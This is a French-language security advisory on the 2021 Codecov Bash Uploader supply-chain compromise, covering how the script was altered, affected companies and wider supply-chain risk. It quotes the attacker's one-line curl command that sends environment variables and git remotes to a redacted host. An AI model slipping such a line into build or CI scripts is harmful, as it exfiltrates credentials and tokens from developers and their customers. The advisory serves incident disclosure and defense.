Incident Codecov.io

Date : 07 Avril 2021

Mise à jour du 25/05/2021: Depuis la publication de cet article, plusieurs autres sociétés (en plus de HashiCorp et Twilo) ont annoncé avoir été victimes de l'attaque Codecov.io : Coalition, Confluent, Monday.com and Rapid7 (Voir cet article de BleepingComputer.com).

 

Depuis la mi-avril 2021, il y a de nombreuses discussions sur l’incident qui a touché la société Codecov.io et sur l’impact que cela peut avoir pour ses clients. Nous faisons un point au travers de cet article.

Codecov.io (le nom est une contraction de Code Coverage) est une entreprise qui propose un logiciel permettant de contrôler la qualité du code développé par un projet, et en particulier la couverture des tests. Nous utiliserons Codecov.io pour désigner la société et Codecov pour désigner le produit. Le produit Codecov est conçu pour s’intégrer dans les environnements d’Intégration Continue (IC) comme Jenkins, Travis-CI, GitLab-CI, CircleCI, Bitrise, etc. L’Intégration Continue est une technique de développement assez courante qui permet par exemple de régénérer chaque nuit une nouvelle version du produit en cours de développement.

Codecov.io fournit un script, nommé Bash Uploader qui s’exécute dans l’environnement de développement du client et qui remonte vers le site Codecov.io des métriques sur le projet. Nous ne connaissons pas le produit de Codecov mais on peut imaginer que cela permet de réunir sur une console centrale (Cloud) hébergée chez Codecov.io des données issues des environnements de développements comme GitHub ou autres (une version « on-premise » semble aussi exister pour les clients qui souhaitent ne pas exporter leurs données vers Codecov.io).

 

L’incident

Le script Bash Uploader est disponible en ligne (https://codecov.io/bash) et l’usage recommandé est de le télécharger à chaque fois qu’il doit être exécuté plutôt que d’utiliser une copie locale. Malheureusement un pirate a réussi à obtenir un accès illégal (en utilisant des informations contenues dans l’image Docker distribuée par Codecov.io) lui permettant de modifier ce script Bash Uploader. Et du 31/01/2021 au 01/04/2021 c’est une version piégée de ce script qui était disponible sur le site Codecov.io.

Selon l’investigation menée par Codecov.io, la seule modification faite par le pirate et l’ajout d’une ligne de code (reproduite ci-dessous) dans le script Bash Uploader :

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http://<redacted>/upload/v2 || true

Cette modification envoie sur un site contrôlé par le pirate le résultat de la commande Unix "env" qui liste toutes les variables d’environnement et leur valeur. Selon Codecov.io certaines de ces variables contiennent parfois des informations sensibles de type "credentials, tokens or keys" (sic) qui peuvent être réutilisées pour accéder aux espaces Cloud utilisés par le projet (token d’accès chez Codecov.io, credential AWS ou Github, etc…).

 

L’impact

Codecov.io indique qu’il a prévenu les clients qui semblaient affectés (ceux qui ont utilisé Bash Uploader pendant la période où ce script était piégé). Il recommande aussi à tous ses clients d’analyser l’impact précis de l’incident pour eux, en vérifiant si la commande "env" révèle des informations sensibles sur leur développement. Codecov.io a également publié des IOC contenant les adresses IP utilisées par le pirate lors de cet incident (ces IOC sont aussi disponibles dans la base MISP du Cert-IST).

Les articles publiés par la presse sur cet incident, indiquent que des sociétés majeures sont clientes de Codecov.io (comme IBM, HPE, Atlassian ou Mozilla). La crainte est que l’incident Codecov.io permette à l’attaquant de voler du code chez ces clients, ou même de placer des backdoors dans leurs produits (attaque similaire à celle révélée en décembre 2020 pour Orion SolarWinds).

Reuter.com a indiqué que des personnes impliquées dans l’enquête ont constaté que le pirate avait automatisé son attaque pour utiliser immédiatement les données d’accès volées. Par ailleurs, deux sociétés ont explicitement indiqué avoir été victimes de l’attaque :

  • HashiCorp a annoncé le vol de sa clé GPG (signature de code),
  • Twilo a annoncé que cses espaces Github avaient été illégalement clonés.

 

Conclusion

L’incident Codecov.io est sans doute un cas d’attaque sophistiquée où l’attaquant envisage plusieurs rebonds avant d’atteindre sa cible réelle. On peut en effet imaginer un "coup de billard à 2 bandes" :

  • L’attaque Codecov.io permet de s’introduire chez des développeurs de logiciels (par exemple IBM),
  • Pour insérer ensuite une backdoor dans les produits qui seront distribués aux clients de ces sociétés de développement logiciel.

On pense bien sur immédiatement à l’attaque SolarWinds Orion et au sujet plus général des attaques de la supply-chain logicielle. Il n’y a aucun lien établi avec l’incident SolarWinds. Par contre la compromission de logiciels légitimes est un sujet majeur de l’actualité et une tendance qui se confirme.

Il y a sans doute de nombreuses vulnérabilités dans les chaines de production logicielles, et les découvertes dans ce domaine vont se multiplier. Comme nous le mentionnons dans notre bilan annuel, ces attaques sophistiquées sont initialement construites pour atteindre des cibles qui n’ont pas pu être attaquées par des moyens plus directs. Par contre, il est important de corriger les problèmes qui seront identifiés dans les chaines de production logicielles au fur et à mesure qu’elles seront connues, car la réutilisation d’une attaque est à la portée d’attaquants moins aguerris.

A noter enfin, Codecov.io n’est apparemment pas un acteur majeur dans le développement logiciel et certains pensent que l’impact de l’attaque restera donc modéré.

 

Pour plus d’information :

Blog Codecov.io suivant le problème :

 

Série d’articles publiés par BleepingComputer.com

Précedent Précedent Suivant Suivant Imprimer Imprimer